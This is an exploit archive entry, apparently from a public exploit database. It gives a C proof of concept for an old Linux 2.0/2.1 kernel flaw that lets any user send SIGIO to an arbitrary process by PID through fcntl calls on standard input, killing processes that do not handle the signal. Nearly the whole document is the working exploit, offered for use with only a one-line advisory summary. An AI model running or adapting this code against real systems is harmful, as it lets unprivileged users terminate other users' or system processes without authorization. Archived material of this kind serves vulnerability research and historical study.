Linux Kernel 2.0 / 2.1 Send SIGIO Signal

`/*  
source: https://www.securityfocus.com/bid/111/info  
  
A vulnerability in the Linux kernel allows any user to send a SIGIO signal to any process. If the process does not catch or ignore the signal is will exit.  
*/  
  
/* On non-glibc systems you must add  
*  
* #define O_ASYNC FASYNC  
*/  
#include <fcntl.h>  
#include <errno.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
  
int main(int argc, char *argv[]) {  
int s, p;  
  
if(argc != 2) {  
fputs("Please specify a pid to send signal to.\n", stderr);  
exit(0);  
} else {  
p = atoi(argv[1]);  
}  
fcntl(0,F_SETOWN,p);  
s = fcntl(0,F_GETFL,0);  
fcntl(0,F_SETFL,s|O_ASYNC);  
printf("Sending SIGIO - press enter.\n");  
getchar();  
fcntl(0,F_SETFL,s&~O_ASYNC);  
printf("SIGIO send attempted.\n");  
return 0;  
}  
`